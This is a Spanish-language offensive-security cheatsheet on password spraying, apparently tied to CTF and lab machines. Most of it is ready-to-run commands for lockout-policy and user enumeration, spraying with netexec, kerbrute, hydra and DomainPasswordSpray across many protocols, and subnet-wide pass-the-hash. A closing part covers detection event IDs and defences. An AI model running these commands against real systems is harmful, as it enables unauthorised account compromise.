Password Spraying
Arsenal completo de comandos en la cheatsheetEl password spraying es un ataque de adivinación de credenciales que invierte la lógica de la fuerza bruta clásica. En lugar de probar muchas contraseñas contra un usuario (lo que dispara bloqueos de cuenta), se prueba una contraseña (o un puñado) contra muchos usuarios. Así se evita el lockout y se aprovecha que, en cualquier organización con suficientes cuentas, alguien suele reutilizar una contraseña conocida o débil.
Paso previo: conocer la política de contraseñas
Rociar a ciegas bloquea cuentas y delata el ataque. Antes de nada se averigua el umbral de bloqueo (lockoutThreshold), la ventana de observación (lockoutObservationWindow) y la duración del bloqueo, para quedarse siempre por debajo del umbral. Con credenciales válidas o, en muchos dominios, con sesión nula:
netexec smb <ip> -u <user> -p <pass> --pass-pol # politica completa
enum4linux-ng -P -oA ilfreight <ip> # politica sin credenciales (si el null lo permite)
rpcclient -U "" -N <ip> -c "querydominfo;getdompwinfo"
ldapsearch -h <ip> -x -b "DC=<dom>,DC=<tld>" -s sub "*" | grep -i -m1 -B10 lockoutThresholdDesde Windows: net accounts (equipo local) o Get-DomainPolicy de PowerView (dominio). Si el umbral es 5 y la ventana 30 min, se prueba una contraseña por ronda y se espera a que el badPwdCount se reinicie antes de la siguiente. Un lockoutThreshold = 0 significa que no hay bloqueo: se puede rociar sin freno.
Reunir usuarios y contraseñas candidatas
Se necesitan dos listas. La de usuarios sale de la enumeración: RID cycling, kerbrute userenum, LDAP, RPC, OSINT o el patrón nombre.apellido:
kerbrute userenum -d <domain> --dc <dc> jsmith.txt
netexec smb <ip> -u <user> -p <pass> --users # extrae samAccountName si ya hay creds
enum4linux -U <ip> | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"La de contraseñas se construye con criterio, no con rockyou.txt entero (bloquearía cuentas): la estación del año más el año (Autumn2024, Primavera2024!), el nombre de la empresa, Welcome1, Password123, el propio nombre de usuario como contraseña, y cualquier credencial ya filtrada o vista en un share.
Rociar
netexec/crackmapexec valida un par por usuario contra SMB; grep + limpia los fallos:
netexec smb <ip> -u <users.txt> -p 'Welcome1' --continue-on-success | grep '[+]'
kerbrute passwordspray -d <domain> --dc <dc> <users.txt> 'Welcome1'Un [+] marca un par válido; un STATUS_LOGON_FAILURE (o [-]), un fallo. Desde una máquina del dominio, DomainPasswordSpray.ps1 automatiza el rociado leyendo la lista de usuarios del propio AD y respetando el badPwdCount:
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_ok -ErrorAction SilentlyContinueEl servicio a atacar no tiene por qué ser SMB: la misma lógica sirve contra ldap, winrm, mssql, rdp, ssh o un panel web. netexec cambia solo el protocolo; para HTTP y SSH se recurre a hydra:
netexec winrm <ip> -u <users.txt> -p 'Welcome1' --continue-on-success | grep '[+]'
netexec ldap <ip> -u <users.txt> -p 'Welcome1' --continue-on-success | grep '[+]'
netexec mssql <ip> -u <users.txt> -p 'Welcome1' --continue-on-success | grep '[+]'
netexec rdp <ip> -u <users.txt> -p 'Welcome1' --continue-on-success | grep '[+]'
netexec ssh <ip> -u <users.txt> -p 'Welcome1' --continue-on-success | grep '[+]'
hydra -L <users.txt> -p 'Welcome1' ssh://<ip>
hydra -L <users.txt> -p 'Welcome1' <ip> http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"Y cuando lo que hay es un hash NT en vez de una contraseña, el rociado se hace con Pass-the-Hash a la cuenta de administrador local de una subred entera, usando --local-auth para forzar un solo intento por host y no bloquear cuentas de dominio:
netexec smb <subred> --local-auth -u administrator -H <hash> | grep '[+]'Requisitos
Un servicio que valide credenciales y sea alcanzable, una lista de usuarios y al menos una contraseña candidata. El factor decisivo es la política de bloqueo: sin conocerla, el ataque es un riesgo. Un acierto es solo el primer paso; conviene validar el par contra varios servicios (netexec smb/winrm/ldap) para saber qué abre realmente.
Cómo detectarlo. El patrón delator es muchas cuentas distintas con un solo fallo cada una desde un mismo origen en una ventana corta, justo lo contrario de la fuerza bruta. Sobre SMB/NTLM aparece como una ráfaga de Event ID 4625 (inicio de sesión fallido) con Sub Status 0xC000006A (contraseña incorrecta); contra Kerberos, como 4771 (fallo de preautenticación) con código de fallo 0x18; y en el DC, como 4776 fallidos. La detección eficaz no cuenta fallos por cuenta (cada una tiene uno), sino fallos por origen y el número de cuentas únicas afectadas. Un acierto tardío (un 4624 correcto) tras la ráfaga marca la cuenta ya comprometida.
Defensa. Políticas de contraseñas robustas que descarten los patrones estación+año, MFA (que un par válido no baste para entrar), smart lockout de Azure/Entra y bloqueos por IP además de por cuenta, para cortar el ritmo del rociado antes de que acierte. Deshabilitar la autenticación heredada (NTLM, protocolos sin MFA) cierra las vías más rociadas. Se apoya en RID cycling y en la enumeración guest/nula para la lista de usuarios, y desemboca en la reutilización de credenciales.
Máquinas donde se aplica
- CicadaHackTheBox
- ConsolelogDockerLabs
- Dance-SambaDockerLabs
- DomainDockerLabs
- HeistHackTheBox
- HokkaidoProving Grounds Practice
- NagoyaProving Grounds Practice
- ServmonHackTheBox
- Symfonos 1 & 2VulnHub